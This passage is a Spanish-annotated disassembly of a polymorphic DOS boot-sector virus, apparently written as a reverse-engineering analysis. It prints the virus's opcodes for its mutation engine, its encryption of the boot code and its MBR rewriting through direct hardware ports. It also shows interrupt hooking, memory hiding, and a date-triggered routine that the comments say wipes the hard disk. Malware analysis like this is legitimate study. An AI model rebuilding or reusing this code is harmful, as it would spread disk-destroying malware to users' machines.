∩0DA6:14F5 53            PUSH    BX           Ω; Lo vuelve a guardar                 ∩0DA6:14F6 50            PUSH    AX           Ω; Guarda AX                           ∩0DA6:14F7 B700          MOV     BH,00        Ω; Pone BH a 0                         ∩0DA6:14F9 88261414      MOV     [1414],AH    Ω; Guarda en [1414] el valor de AH                                                  Ω; para dar a esa instrucción                                                        Ω; (MOV AL/AH/BL/BH...,XX)                                                           Ω; un valor para el MOV                 ∩0DA6:14FD BE0914        MOV     SI,1409      Ω; En SI el inicio de la rutina                                                     Ω; que se ha ido modificando a lo                                                    Ω; largo de esta porción de código      ∩0DA6:1500 BF6A1E        MOV     DI,1E6A      Ω; En DI el inicio del BOOT leído                                                   Ω; del disco duro                       ∩0DA6:1503 C7061614167C  MOV     WORD PTR [1416],7C16 Ω; En principio pone este                                                   Ω; valor en el MOV SI,XXXX que                                                       Ω; hay en esta dirección.               ∩0DA6:1509 80FB02        CMP     BL,02        Ω; Mira si BL es 2 (si es 1, es                                                     Ω; para infectar discos duros)          ∩0DA6:150C 7509          JNZ     1517         Ω; Si no es, salta a :1517             ∩0DA6:150E BFA81E        MOV     DI,1EA8      Ω; Aumenta DI a 1EA8 para poner                                                     Ω; entre este número y 1E6A los                                                      Ω; datos del BOOT sobre el disco                                                     Ω; duro                                 ∩0DA6:1511 C7061614547C  MOV     WORD PTR [1416],7C54 Ω; Y aumenta también el                                                     Ω; valor a añadir a SI en el códi-                                                   Ω; go de BOOT modificado                ∩0DA6:1517 E820F4        CALL    093A         Ω; Obtiene un word aleatorio en                                                     Ω; AX de la cadena de aleatorios        ∩0DA6:151A 250300        AND     AX,0003      Ω; Reduce AX a un número entre 0                                                    Ω; y 3                                  ∩0DA6:151D 93            XCHG    BX,AX        Ω; Intercambia AX y BX                 ∩0DA6:151E 8A87F60F      MOV     AL,[BX+0FF6] Ω; En AL obtiene un número que                                                      Ω; puede ser C0h o C9h                  ∩0DA6:1522 884402        MOV     [SI+02],AL   Ω; Forma entonces XOR AX,AX o                                                       Ω; XOR CX,CX                            ∩0DA6:1525 B0D0          MOV     AL,D0        Ω; En AL pone el valor D0              ∩0DA6:1527 02C3          ADD     AL,BL        Ω; AL puede ser entonces D0h, D1h,                                                  Ω; D2h o D3h                            ∩0DA6:1529 884404        MOV     [SI+04],AL   Ω; Forma la instrucción                                                             Ω; MOV SS,AX/CX/DX/BX                   ∩0DA6:152C A5            MOVSW                Ω; Copia 8 bytes al destino            ∩0DA6:152D A5            MOVSW                                                       ∩0DA6:152E A5            MOVSW                                                       ∩0DA6:152F A5            MOVSW                                                       ∩0DA6:1530 8AF3          MOV     DH,BL        Ω; Guarda BL en DH                     ∩0DA6:1532 33C9          XOR     CX,CX        Ω; CX = 0                              ∩0DA6:1534 E88200        CALL    15B9         Ω; Sigue modificando                   ∩0DA6:1537 E800F4        CALL    093A         Ω; Obtiene otro word aleatorio de                                                   Ω; la cadena de aleatorios              ∩0DA6:153A 0BC0          OR      AX,AX        Ω; Mira si tiene paridad par (?)       ∩0DA6:153C 7A0F          JPE     154D         Ω; Salta si es esto para invertir                                                   Ω; el orden de una instrucción          ∩0DA6:153E 8B04          MOV     AX,[SI]      Ω; Coge en AX lo que apunta [SI]                                                    Ω; (el byte 8 del código para el                                                     Ω; BOOT)                                ∩0DA6:1540 83C602        ADD     SI,+02       Ω; Incrementa el puntero               ∩0DA6:1543 800E8C0108    OR      BYTE PTR [018C],08 Ω; Activa el bit 3 en [018C]                                                                                          ∩0DA6:1548 A5            MOVSW                Ω; Copia 3 bytes                       ∩0DA6:1549 A4            MOVSB                                                       ∩0DA6:154A AB            STOSW                Ω; Almacena AX en ese sitio            ∩0DA6:154B EB03          JMP     1550         Ω; Salta                               ∩0DA6:154D A5            MOVSW                Ω; Aquí si tiene paridad impar, y      ∩0DA6:154E A5            MOVSW                Ω; esto hace que lo copie tal y        ∩0DA6:154F A4            MOVSB                Ω; como está                           ∩0DA6:1550 E8AC00        CALL    15FF         Ω; Inserta el opcode en DL si és-                                                   Ω; te no es el de DS:                   ∩0DA6:1553 A5            MOVSW                Ω; Sigue copiando                      ∩0DA6:1554 C6065C0FFF    MOV     BYTE PTR [0F5C],FF Ω; Pone en [0F5C] el valor                                                          Ω; FFh                            ∩0DA6:1559 E818F6        CALL    0B74         Ω; Inserta una instrucción de com-                                                  Ω; probación para el LOOP               ∩0DA6:155C E8AC00        CALL    160B         Ω; Inserta un ADD *H/*L,01 -                                                        Ω; SUB *H/*L,FFh                        ∩0DA6:155F AD            LODSW                Ω; Carga el byte en la dirección                                                    Ω; en SI                                ∩0DA6:1560 2AE1          SUB     AH,CL        Ω; Le resta CL a AH para modificar                                                  Ω; el opcode                                                                                                                 ∩0DA6:1562 AB            STOSW                Ω; Lo mete en el código                ∩0DA6:1563 2ACD          SUB     CL,CH        Ω; Le resta CH a CL                    ∩0DA6:1565 8AC5          MOV     AL,CH        Ω; Pone CH en AL                       ∩0DA6:1567 F6068C0108    TEST    BYTE PTR [018C],08 Ω; Comprueba si el bit 3 de                                                   Ω; la dirección [018C] está acti-                                                    Ω; vo. Si éste está activo, vi-                                                      Ω; niendo de la variación en                                                         Ω; :1543, significa que ha habido                                                    Ω; una inversión en el orden de un                                                   Ω; par de instrucciones                 ∩0DA6:156C 7402          JZ      1570         Ω; Salta si no lo está                 ∩0DA6:156E 0402          ADD     AL,02        Ω; Suma 2 a AL                         ∩0DA6:1570 80268C01F7    AND     BYTE PTR [018C],F7  Ω; Desactiva el bit 3 en                                                     Ω; [018C]                               ∩0DA6:1575 98            CBW                  Ω; Si el bit 7 en AL está a 1, es                                                   Ω; decir, si AL es mayor o igual a                                                   Ω; 80h, AH será igual a FFh. Si                                                      Ω; por el contrario es menor de                                                      Ω; 80h, AH será 0                       ∩0DA6:1576 BE771E        MOV     SI,1E77      Ω; Pone en SI la dirección 1E77,                                                    Ω; que es el byte nº8 del BOOT si                                                    Ω; éste empieza en :1E6A                ∩0DA6:1579 2BF0          SUB     SI,AX        Ω; Le resta a SI el valor de AX        ∩0DA6:157B 8BC1          MOV     AX,CX        Ω; Pone en AX el valor de CX           ∩0DA6:157D 59            POP     CX           Ω; Saca en CX lo que guardó como                                                    Ω; AX, que contiene un word alea-                                                    Ω; torio de la cadena de aleato-                                                     Ω; rios del virus. Esta operación                                                    Ω; sólo es un trámite para poder                                                     Ω; sacar BX                             ∩0DA6:157E 5B            POP     BX           Ω; Saca BX                             ∩0DA6:157F 51            PUSH    CX           Ω; Vuelve a guardar el valor en CX     ∩0DA6:1580 80FB02        CMP     BL,02        Ω; Comprueba si BL es 2                ∩0DA6:1583 7503          JNZ     1588         Ω; Si es infección para discos du-                                                  Ω; ros, salta y evita la siguiente                                                   Ω; instrucción                          ∩0DA6:1585 83C63E        ADD     SI,+3E       Ω; Suma a SI 3E para saltar la zo-                                                  Ω; na de características del dis-                                                    Ω; kette                                ∩0DA6:1588 98            CBW                  Ω; Convierte AL en un word en AX                                                    Ω; de la manera explicada ante-                                                      Ω; riormente                            ∩0DA6:1589 0104          ADD     [SI],AX      Ω; Lo suma al inicio del programa                                                   Ω; del BOOT que va después del                                                       Ω; salto inicial                        ∩0DA6:158B 58            POP     AX           Ω; Saca el aleatorio guardado          ∩0DA6:158C B91F00        MOV     CX,001F      Ω; En CX el valor 1Fh (31 en deci-                                                  Ω; mal)                                 ∩0DA6:158F BEEF1D        MOV     SI,1DEF      Ω; En SI la dirección del final                                                     Ω; del programa para el BOOT que                                                     Ω; el virus tiene preparado a tal                                                    Ω; efecto                               ∩0DA6:1592 80FB02        CMP     BL,02        Ω; ¿Es infección de diskettes?         ∩0DA6:1595 740B          JZ      15A2         Ω; Si es, salta                        ∩0DA6:1597 80FB01        CMP     BL,01        Ω; ¿Es infección de discos duros?      ∩0DA6:159A 751C          JNZ     15B8         Ω; Si no es, salta y retorna                                                     Ω; Aquí para discos duros                  ∩0DA6:159C B92800        MOV     CX,0028      Ω; CX = 40                             ∩0DA6:159F BE1F14        MOV     SI,141F      Ω; Copia 40 bytes desde :141F                                                       Ω; (si viene de :1595, desde :1DEF)     ∩0DA6:15A2 AC            LODSB                Ω; criptando cada byte con el          ∩0DA6:15A3 28E0          SUB     AL,AH        Ω; aleatorio después de haber he-      ∩0DA6:15A5 FEC4          INC     AH           Ω; cho todas las pirulas pertinen-     ∩0DA6:15A7 AA            STOSB                Ω; tes                                 ∩0DA6:15A8 E2F8          LOOP    15A2         Ω; Realiza esta operación 40 veces     ∩0DA6:15AA E88DF3        CALL    093A         Ω; Obtiene un aleatorio de su ca-                                                   Ω; dena particular                      ∩0DA6:15AD F7D0          NOT     AX           Ω; Le hace un NOT                      ∩0DA6:15AF A36A1F        MOV     [1F6A],AX    Ω; Lo mete en [1F6A]                   ∩0DA6:15B2 05FFCC        ADD     AX,CCFF      Ω; Le suma a AX el valor de marca                                                   Ω; CCFFh                                ∩0DA6:15B5 A36C1F        MOV     [1F6C],AX    Ω; Lo guarda en [1F6C]                 ∩0DA6:15B8 C3            RET                  Ω; Retorna                                                                                                                                                                                                       ε;;; Rutina para modificar ciertas instrucciones en el programa de BOOT que          ε;; prepara para infectar                                                                                                                                                 ∩0DA6:15B9 83C602        ADD     SI,+02      Ω; Suma 2 a SI                          ∩0DA6:15BC E87BF3        CALL    093A        Ω; Obtiene un valor de la cadena de                                                 Ω; aleatorios                            ∩0DA6:15BF F7D0          NOT     AX          Ω; Le hace NOT                          ∩0DA6:15C1 2403          AND     AL,03       Ω; Convierte AL en un número entre                                                  Ω; 0 y 3                                 ∩0DA6:15C3 8AD8          MOV     BL,AL       Ω; Pone este número en BL               ∩0DA6:15C5 8A97CE0F      MOV     DL,[BX+0FCE]Ω; Obtiene en DL un valor de opcode                                                 Ω; para formar DS:/CS:/ES:/SS:           ∩0DA6:15C9 3C01          CMP     AL,01       Ω; ¿Es AL = 1?                          ∩0DA6:15CB 742F          JZ      15FC        Ω; Salta entonces                       ∩0DA6:15CD 3C03          CMP     AL,03       Ω; ¿Es AL = 3?                          ∩0DA6:15CF 742B          JZ      15FC        Ω; Salta entonces                       ∩0DA6:15D1 D0EB          SHR     BL,1        Ω; Divide BL entre 2, de manera que                                                 Ω; se queda a 0 o a 1                    ∩0DA6:15D3 B006          MOV     AL,06                                               ∩0DA6:15D5 F6E3          MUL     BL                                                  ∩0DA6:15D7 8BD8          MOV     BX,AX       Ω; Multiplica BL por 6, así que BX                                                  Ω; será ahora o 0 o 6                    ∩0DA6:15D9 E85EF3        CALL    093A        Ω; Obtiene un word de la cadena de                                                  Ω; aleatorios                            ∩0DA6:15DC 80E403        AND     AH,03       Ω; Reduce AH a un valor entre 0 y 3     ∩0DA6:15DF 80FC03        CMP     AH,03       Ω; ¿Es AH = 3?                          ∩0DA6:15E2 74F5          JZ      15D9        Ω; Si es, vuelve a sacar un aleato-                                                 Ω; rio                                   ∩0DA6:15E4 D0E4          SHL     AH,1        Ω; Hace a AH un numero que puede                                                    Ω; ser 0, 2 o 4                          ∩0DA6:15E6 02DC          ADD     BL,AH       Ω; Se lo suma a BL. BX será el nú-                                                  Ω; mero 0, 2, 4, 6, 8 o Ah               ∩0DA6:15E8 8B87EA0F      MOV     AX,[BX+0FEA]Ω; Utiliza BX como índice para ob-                                                  Ω; tener en AX el opcode de una                                                      Ω; instrucción que parece aleatoria      ∩0DA6:15EC 3C16          CMP     AL,16       Ω; Comprueba si la instrucción o                                                    Ω; pareja de instrucciones empieza                                                   Ω; por PUSH SS                           ∩0DA6:15EE 740C          JZ      15FC        Ω; Si es, salta                         ∩0DA6:15F0 3C50          CMP     AL,50       Ω; Comprueba si empieza por PUSH AX     ∩0DA6:15F2 7504          JNZ     15F8        Ω; Si no es, salta                      ∩0DA6:15F4 02C6          ADD     AL,DH       Ω; Suma DH a AL, y DH puede ser un                                                  Ω; número entre 0, 1, 2 y 3 para                                                     Ω; construir la instrucción                                                          Ω; MOV DS/ES, AX/CX/DX/BX (estos                                                     Ω; últimos según DH).                    ∩0DA6:15F6 AB            STOSW               Ω; Lo almacena                          ∩0DA6:15F7 C3            RET                 Ω; Retorna                              ∩0DA6:15F8 02E6          ADD     AH,DH       Ω; Aquí suma DH a AH para formar                                                    Ω; PUSH AX/CX/DX/BX (según DH) -                                                     Ω; POP DS/ES                             ∩0DA6:15FA AB            STOSW               Ω; Lo almacena                          ∩0DA6:15FB C3            RET                 Ω; Retorna                                                                       Ω; Salto desde :15EE, :15CB y :15CF         ∩0DA6:15FC B502          MOV     CH,02       Ω; Pone CH a 2                          ∩0DA6:15FE C3            RET                 Ω; Retorna                                                                                                                   ε;;; Rutina para mirar si va a insertar DS:. Si lo va a insertar, se lo ahorra                                                                                            ∩0DA6:15FF 80FA3E        CMP     DL,3E       Ω; Comprueba si DL es el opcode de                                                  Ω; DS:                                   ∩0DA6:1602 7406          JZ      160A        Ω; Si es, retorna                       ∩0DA6:1604 8AC2          MOV     AL,DL       Ω; Inserta DL                           ∩0DA6:1606 AA            STOSB                                                       ∩0DA6:1607 80C101        ADD     CL,01       Ω; Añade 1 a CL                         ∩0DA6:160A C3            RET                 Ω; Retorna                                                                                                                                                                                                        ε;;; Rutina para insertar ADD *L/*H,01 - SUB *L/*H,FFh según los datos que se        ε;;; le pasen                                                                                                                                                             ∩0DA6:160B E82CF3        CALL    093A        Ω; Obtiene un word en AX de la ca-                                                  Ω; dena de aleatorios                    ∩0DA6:160E F7D0          NOT     AX          Ω; Hace NOT a AX                        ∩0DA6:1610 02C4          ADD     AL,AH       Ω; Suma AH a AL                         ∩0DA6:1612 3C55          CMP     AL,55       Ω; Comprueba si AL es 55 (efectuará                                                 Ω; el salto con una probabilidad de                                                  Ω; 1/3                                   ∩0DA6:1614 7224          JB      163A        Ω; Si es menor, salta                   ∩0DA6:1616 83C602        ADD     SI,+02      Ω; Suma 2 al puntero SI                 ∩0DA6:1619 80C101        ADD     CL,01       Ω; Suma 1 a CL                          ∩0DA6:161C 8A1E5E0F      MOV     BL,[0F5E]   Ω; Obtiene en BL el valor en [0F5E]     ∩0DA6:1620 3CAA          CMP     AL,AA       Ω; Comprueba si AL es AAh (llegará                                                  Ω; aquí y saltará con una probabi-                                                   Ω; lidad total de 1/3 también).          ∩0DA6:1622 720B          JB      162F        Ω; Salta si es menor                    ∩0DA6:1624 B080          MOV     AL,80       Ω; AL = 80h                             ∩0DA6:1626 8AA7D60F      MOV     AH,[BX+0FD6] Ω; Aquí, si llega, insertará una       ∩0DA6:162A AB            STOSW               Ω; instrucción                          ∩0DA6:162B B001          MOV     AL,01       Ω; ADD AL/AH/BL/BH/CL/CH/DL/DH,01       ∩0DA6:162D AA            STOSB                                                       ∩0DA6:162E C3            RET                 Ω; Retorna                                                                                                                   ∩0DA6:162F B080          MOV     AL,80       Ω; AL = 80h                             ∩0DA6:1631 8AA7DE0F      MOV     AH,[BX+0FDE] Ω; Insertará la instrucción            ∩0DA6:1635 AB            STOSW               Ω; SUB AL/AH/BL/BH/CL/CH/DL/DH,FFh      ∩0DA6:1636 B0FF          MOV     AL,FF                                               ∩0DA6:1638 AA            STOSB                                                       ∩0DA6:1639 C3            RET                 Ω; Retorna                                                                                                                   ∩0DA6:163A A5            MOVSW               Ω; Inserta sin más                      ∩0DA6:163B C3            RET                 Ω; Retorna                                                                                                                   ε;;;; Rutina para "matar" un cierto programa en el BOOT que no he identificado                                                                                            ∩0DA6:163C 9C            PUSHF           Ω; Guarda todos los registros en el         ∩0DA6:163D 50            PUSH    AX      Ω; stack y las banderas                     ∩0DA6:163E 53            PUSH    BX                                                  ∩0DA6:163F 51            PUSH    CX                                                  ∩0DA6:1640 52            PUSH    DX                                                  ∩0DA6:1641 57            PUSH    DI                                                  ∩0DA6:1642 56            PUSH    SI                                                  ∩0DA6:1643 FC            CLD             Ω; DF (direction flag) a 0                  ∩0DA6:1644 8BD3          MOV     DX,BX   Ω; En DX el buffer de lectura/escritu-                                              Ω; ra para usar con la int 13h               ∩0DA6:1646 8BFA          MOV     DI,DX   Ω; En DI la dirección del buffer. Aho-                                              Ω; ra está en BX, DX y DI                    ∩0DA6:1648 B86665        MOV     AX,6566 Ω; En AX, 'ef'                              ∩0DA6:164B BB6374        MOV     BX,7463 Ω; En BX, 'tc'                              ∩0DA6:164E B90002        MOV     CX,0200 Ω; Escanea en todo el BOOT la cadena        ∩0DA6:1651 AF            SCASW           Ω; 'fe'                                     ∩0DA6:1652 7508          JNZ     165C                                                ∩0DA6:1654 93            XCHG    BX,AX   Ω; Si encuentra esta, mira si forma         ∩0DA6:1655 AF            SCASW           Ω; parte de la cadena 'fect'                ∩0DA6:1656 7409          JZ      1661    Ω; Si es, salta                             ∩0DA6:1658 93            XCHG    BX,AX   Ω; Vuelve a probar con 'fe'                 ∩0DA6:1659 83EF02        SUB     DI,+02                                              ∩0DA6:165C 4F            DEC     DI                                                  ∩0DA6:165D E2F2          LOOP    1651                                                ∩0DA6:165F EB37          JMP     1698   Ω; Si no lo ha encontrado, salta a :1698                                            Ω; y retorna.                                                                        Ω; Aquí si lo ha encontrado                   ∩0DA6:1661 B84E00        MOV     AX,004E Ω; Ahora hace lo mismo con la cadena en                                             Ω; AX 'N',0                                  ∩0DA6:1664 B90002        MOV     CX,0200 Ω; Y lo vuelve a hacer por todo el BOOT     ∩0DA6:1667 8BFA          MOV     DI,DX                                               ∩0DA6:1669 BE0C00        MOV     SI,000C Ω; En SI pone el valor 000Ch                ∩0DA6:166C AF            SCASW           Ω; Compara                                  ∩0DA6:166D 7504          JNZ     1673    Ω; Si no es, salta                          ∩0DA6:166F 26            ES:                                                         ∩0DA6:1670 0175FE        ADD     [DI-02],SI Ω; Resta a esto el valor en SI de                                                Ω; manera que la cadena encontrada se                                                Ω; convierta en 'B',0                        ∩0DA6:1673 4F            DEC     DI                                                  ∩0DA6:1674 E2F6          LOOP    166C    Ω; Escanea por todo el boot                 ∩0DA6:1676 48            DEC     AX      Ω; Convierte AX en 'L',0 y vuelve a ha-     ∩0DA6:1677 48            DEC     AX      Ω; cer lo mismo, cambiando en este caso                                             Ω; esta cadena por '?',0                     ∩0DA6:1678 3D4C00        CMP     AX,004C Ω; Mira si ya ha probado con 004Ch          ∩0DA6:167B 74E7          JZ      1664    Ω; Si no lo ha hecho, salta a repetirlo     ∩0DA6:167D 8BFA          MOV     DI,DX   Ω; En DI de nuevo la dirección donde se                                             Ω; leyó el BOOT                              ∩0DA6:167F B9C001        MOV     CX,01C0 Ω; Ahora en los 448 primeros bytes in-      ∩0DA6:1682 B88002        MOV     AX,0280 Ω; tenta buscar un word entre el valor                                              Ω; 7E02h y 8002h                             ∩0DA6:1685 AF            SCASW           Ω; Escanea                                  ∩0DA6:1686 720D          JB      1695    Ω; Si AX es menor, salta                    ∩0DA6:1688 4F            DEC     DI      Ω; Pone el anterior DI                      ∩0DA6:1689 4F            DEC     DI                                                  ∩0DA6:168A 50            PUSH    AX      Ω; Guarda AX                                ∩0DA6:168B 48            DEC     AX      Ω; Decrementa AX dos vecez para hacerlo     ∩0DA6:168C 48            DEC     AX      Ω; 027Eh                                    ∩0DA6:168D AF            SCASW           Ω; Comprueba                                ∩0DA6:168E 58            POP     AX      Ω; Saca AX                                  ∩0DA6:168F 7704          JA      1695    Ω; Si es mayor, salta                       ∩0DA6:1691 26            ES:                Ω; Si ha encontrado un word así, le      ∩0DA6:1692 2975FE        SUB     [DI-02],SI Ω; resta el valor 000Ch                  ∩0DA6:1695 4F            DEC     DI                                                  ∩0DA6:1696 E2ED          LOOP    1685    Ω; Loop para escanear                       ∩0DA6:1698 5E            POP     SI      Ω; Cuando no ha encontrado la cadena        ∩0DA6:1699 5F            POP     DI      Ω; 'fect' o la ha encontrado y ya ha        ∩0DA6:169A 5A            POP     DX      Ω; hecho todos los cambios que tocan,       ∩0DA6:169B 59            POP     CX      Ω; saca todos los registros del stack       ∩0DA6:169C 5B            POP     BX      Ω; y retorna.                               ∩0DA6:169D 58            POP     AX                                                  ∩0DA6:169E 9D            POPF                                                        ∩0DA6:169F C3            RET                                                                                                                                              ε;;; Rutina para desinfectar el BOOT. Escribe el BOOT original en el Boot-Strap      ε;;; sobreescribiendo el BOOT infectado                                                                                                                                   ∩0DA6:16A0 B80102        MOV     AX,0201         Ω; Lee el BOOT que hay en el        ∩0DA6:16A3 BB6A1E        MOV     BX,1E6A         Ω; disco duro y lo pone en :1E6A    ∩0DA6:16A6 33C9          XOR     CX,CX                                               ∩0DA6:16A8 8ED9          MOV     DS,CX           Ω; DS = 0                           ∩0DA6:16AA 0E            PUSH    CS                                                  ∩0DA6:16AB 07            POP     ES                                                  ∩0DA6:16AC 41            INC     CX                                                  ∩0DA6:16AD BA8000        MOV     DX,0080                                             ∩0DA6:16B0 CD13          INT     13                                                  ∩0DA6:16B2 BF2820        MOV     DI,2028         Ω; En DI la posición +28h del                                                       Ω; BOOT original del sistema         ∩0DA6:16B5 BEBE7D        MOV     SI,7DBE         Ω; En SI la posición +01BEh del                                                     Ω; BOOT original (copiado a                                                          Ω; 0000:7C00)                        ∩0DA6:16B8 B140          MOV     CL,40           Ω; Copia 64 bytes a :2028           ∩0DA6:16BA F3            REPZ                                                        ∩0DA6:16BB A4            MOVSB                                                       ∩0DA6:16BC 41            INC     CX              Ω; CX = 0001                        ∩0DA6:16BD 0E            PUSH    CS              Ω; DS = CS                          ∩0DA6:16BE 1F            POP     DS                                                  ∩0DA6:16BF B80103        MOV     AX,0301         Ω; Función de escritura             ∩0DA6:16C2 882ECA16      MOV     [16CA],CH       Ω; En [16CA], el valor 0            ∩0DA6:16C6 E80E03        CALL    19D7            Ω; Escribe el BOOT al disco du-                                                     Ω; ro usando directamente los                                                        Ω; ports de hardware de la con-                                                      Ω; troladora                         ∩0DA6:16C9 C3            RET                     Ω; Retorna                                                                                                                                                                                                    ∩0DA6:16CA 80            DB      80       Ω; Variable usada en varios sitios, a                                               Ω; nivel de bits                                                                                                                 ε;;;; Rutina para reescribir el BOOT, no sé con qué oscuras razones                                                                                                       ∩0DA6:16CB 50            PUSH    AX              Ω; Guarda registros                 ∩0DA6:16CC 53            PUSH    BX                                                  ∩0DA6:16CD 52            PUSH    DX                                                  ∩0DA6:16CE B80102        MOV     AX,0201         Ω; Lee el BOOT actual en la di-     ∩0DA6:16D1 BB6A1E        MOV     BX,1E6A         Ω; rección CS:1E6Ah                 ∩0DA6:16D4 0E            PUSH    CS                                                  ∩0DA6:16D5 07            POP     ES                                                  ∩0DA6:16D6 B90100        MOV     CX,0001                                             ∩0DA6:16D9 BA8000        MOV     DX,0080                                             ∩0DA6:16DC E8C601        CALL    18A5                                                ∩0DA6:16DF BF2820        MOV     DI,2028         Ω; Machaca 64 bytes de datos de     ∩0DA6:16E2 B140          MOV     CL,40           Ω; los que tenía en :2028 perte-    ∩0DA6:16E4 F3            REPZ                    Ω; necientes al BOOT original       ∩0DA6:16E5 AA            STOSB                   Ω; del sistema.                     ∩0DA6:16E6 41            INC     CX              Ω; CX = 0001                        ∩0DA6:16E7 B80103        MOV     AX,0301         Ω; Función de escritura y 1 sec-                                                    Ω; tor de cantidad a escribir        ∩0DA6:16EA E8EA02        CALL    19D7            Ω; Escribe el BOOT al disco du-                                                     Ω; ro. Si no puede por software,                                                     Ω; lo hará por hardware              ∩0DA6:16ED 5A            POP     DX              Ω; Saca registros del stack         ∩0DA6:16EE 5B            POP     BX                                                  ∩0DA6:16EF 58            POP     AX                                                  ∩0DA6:16F0 C3            RET                     Ω; Retorna                                                                                                               ε;;;;;; Rutina para desinfectar el BOOT, comprobar si se tiene que destruir el       ε;;;;;; sistema y enganchar la int 1Ch para instalar el virus en memoria.                                                                                                 ∩0DA6:16F1 E8ACFF        CALL    16A0            Ω; Desinfecta el BOOT               ∩0DA6:16F4 E85AEB        CALL    0251            Ω; Efecto destructivo: si esta-                                                     Ω; mos a 22 de Agosto o Septiem-                                                     Ω; bre, despídete de tu disco                                                        Ω; duro. Retorna si no estamos                                                       Ω; a esos días. Si no, no hace                                                       Ω; falta ya que retorne.             ∩0DA6:16F7 33C0          XOR     AX,AX           Ω; DS = 0                           ∩0DA6:16F9 8ED8          MOV     DS,AX                                               ∩0DA6:16FB BE7000        MOV     SI,0070         Ω; En DS:SI la dirección del                                                        Ω; vector de la int 1Ch              ∩0DA6:16FE BF8801        MOV     DI,0188         Ω; Lo guarda en 0188h               ∩0DA6:1701 A5            MOVSW                   Ω; Lo copia allí.                   ∩0DA6:1702 A5            MOVSW                                                       ∩0DA6:1703 BE8400        MOV     SI,0084         Ω; Coge ahora el de la int 21h      ∩0DA6:1706 BF0D1B        MOV     DI,1B0D         Ω; Lo copia a :1B0D                 ∩0DA6:1709 A5            MOVSW                                                       ∩0DA6:170A A5            MOVSW                                                       ∩0DA6:170B CD12          INT     12              Ω; Obtiene en AX la cantidad en                                                     Ω; Kb de la memoria RAM del sis-                                                     Ω; tema                              ∩0DA6:170D 2E            CS:                     Ω; Lo guarda en [1B13]              ∩0DA6:170E A3131B        MOV     [1B13],AX                                           ∩0DA6:1711 832E130409    SUB     WORD PTR [0413],+09 Ω; Resta a la memoria total                                                         Ω; 9 Kb, que será para pro-                                                          Ω; teger la zona donde ha                                                            Ω; copiado el virus antes                                                            Ω; (y donde aún está)            ∩0DA6:1716 90            NOP                     Ω; ¿¿NOP??                          ∩0DA6:1717 2E            CS:                     Ω; Pone en [0E6C] el valor 02       ∩0DA6:1718 C6066C0E02    MOV     BYTE PTR [0E6C],02 Ω; para que la obtención de                                                         Ω; la int 21h por la int 1Ch                                                         Ω; una vez que se haya insta-                                                        Ω; lado el DOS se repita 2                                                           Ω; veces                          ∩0DA6:171D FA            CLI                     Ω; Prohibe interrupciones           ∩0DA6:171E 8C0E7200      MOV     [0072],CS       Ω; Redirecciona la int 1Ch a la     ∩0DA6:1722 C70670002D17  MOV     WORD PTR [0070],172D Ω; rutina del virus en                                                              Ω; :172D                        ∩0DA6:1728 FB            STI                     Ω; Permite interrupciones de                                                        Ω; nuevo                             ∩0DA6:1729 E8A4F1        CALL    08D0            Ω; Rutina para escribir una ris-                                                    Ω; tra de words aleatorios que                                                       Ω; después el virus usará a la                                                       Ω; hora de hacer los desencrip-                                                      Ω; tadores en sus rutinas de po-                                                     Ω; limorfismo                        ∩0DA6:172C C3            RET                     Ω; Retorna                                                                                                               ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;;;; I N T E R R U P C I O N      1 C h                               ;;;;;;      ε;;;;;; Esta interrupción es usada para que compruebe 18'2 veces por se- ;;;;;;      ε;;;;;; gundo si el DOS ya está instalado. Si ya está, entonces pondrá   ;;;;;;      ε;;;;;; al virus en memoria de una manera más segura que de la que lo ha-;;;;;;      ε;;;;;; bía puesto antes.                                                ;;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:172D 50            PUSH    AX              Ω; Guarda registros                 ∩0DA6:172E 1E            PUSH    DS                                                  ∩0DA6:172F 06            PUSH    ES                                                  ∩0DA6:1730 56            PUSH    SI                                                  ∩0DA6:1731 57            PUSH    DI                                                  ∩0DA6:1732 33C0          XOR     AX,AX           Ω; DS = 0                           ∩0DA6:1734 8ED8          MOV     DS,AX                                               ∩0DA6:1736 BE8400        MOV     SI,0084         Ω; En DS:SI el puntero a la int                                                     Ω; 21h                               ∩0DA6:1739 0E            PUSH    CS              Ω; ES = CS                          ∩0DA6:173A 07            POP     ES                                                  ∩0DA6:173B BF0D1B        MOV     DI,1B0D         Ω; En DI el sitio donde ha guar-                                                    Ω; dado el vector anterior a la                                                      Ω; int 21h                           ∩0DA6:173E FC            CLD                     Ω; Lo compara con el que hay        ∩0DA6:173F A7            CMPSW                   Ω; ahora                            ∩0DA6:1740 7402          JZ      1744            Ω; Si el primer word es igual,                                                      Ω; salta                             ∩0DA6:1742 B001          MOV     AL,01           Ω; AL = 1                           ∩0DA6:1744 A7            CMPSW                   Ω; Comprueba el segundo word        ∩0DA6:1745 7402          JZ      1749            Ω; Si es el mismo, salta a :1749    ∩0DA6:1747 B401          MOV     AH,01           Ω; AH = 1                           ∩0DA6:1749 0BC0          OR      AX,AX           Ω; ¿Es AX = 0?                      ∩0DA6:174B 742D          JZ      177A            Ω; Si es 0, salta y acaba           ∩0DA6:174D 83EE04        SUB     SI,+04          Ω; Resta 4 a SI                     ∩0DA6:1750 83EF04        SUB     DI,+04          Ω; Resta 4 a DI                     ∩0DA6:1753 A5            MOVSW                   Ω; Sustituye el puntero que co-     ∩0DA6:1754 A5            MOVSW                   Ω; gió cuando enganchó la int                                                       Ω; 1Ch con el nuevo                  ∩0DA6:1755 26            ES:                     Ω; Decrementa el byte en [0E6C].    ∩0DA6:1756 FE0E6C0E      DEC     BYTE PTR [0E6C] Ω; Este byte es, en principio,                                                      Ω; 2, lo que significa que, para                                                     Ω; estar seguros, repetirá esto                                                      Ω; 2 veces                           ∩0DA6:175A 751E          JNZ     177A            Ω; Si no es 0, salta y acaba        ∩0DA6:175C BF4714        MOV     DI,1447         Ω; Guarda en [1447] el puntero      ∩0DA6:175F BE4C00        MOV     SI,004C         Ω; a la int 13h                     ∩0DA6:1762 A5            MOVSW                                                       ∩0DA6:1763 A5            MOVSW                                                       ∩0DA6:1764 BF0D1B        MOV     DI,1B0D         Ω; Lo guarda también en [1B0D]      ∩0DA6:1767 BE4C00        MOV     SI,004C                                             ∩0DA6:176A A5            MOVSW                                                       ∩0DA6:176B A5            MOVSW                                                       ∩0DA6:176C BF6001        MOV     DI,0160         Ω; Y ahora guarda en [0160] el      